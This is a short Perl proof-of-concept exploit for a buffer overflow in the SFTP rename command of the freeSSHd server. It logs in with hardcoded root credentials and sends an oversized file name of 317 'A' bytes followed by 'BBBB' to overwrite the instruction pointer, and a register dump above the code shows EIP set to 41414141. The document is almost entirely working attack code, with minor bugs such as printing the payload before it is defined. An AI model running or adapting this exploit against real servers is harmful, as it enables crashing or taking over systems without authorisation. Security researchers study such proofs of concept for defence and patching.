# freeSSHd (rename) Buffer Overflow Vulnerability

# Registers
# EAX 00000000
# ECX 41414141
# EDX 7C9037D8 ntdll.7C9037D8
# EBX 00000000
# ESP 001376BC
# EBP 001376DC
# ESI 00000000
# EDI 00000000
# EIP 41414141

use Net::SSH2;

my $user = "root";
my $pass = "root";

my $ip = "127.0.0.1";
my $port = 22;

my $ssh2 = Net::SSH2->new();

print "[+] Connecting...\n";
$ssh2->connect($ip, $port) || die "[-] Unable to connect!\n";
$ssh2->auth_password($user, $pass) || "[-] Incorrect credentials\n";
print "[+] Sending payload\n";

my $junk = 'A' x 317;
my $eip = 'BBBB';

print $payload;
my $payload = $junk.$eip;

my $sftp = $ssh2->sftp();
$sftp->rename($payload, 'B');

print "[+] Sent";
$ssh2->disconnect;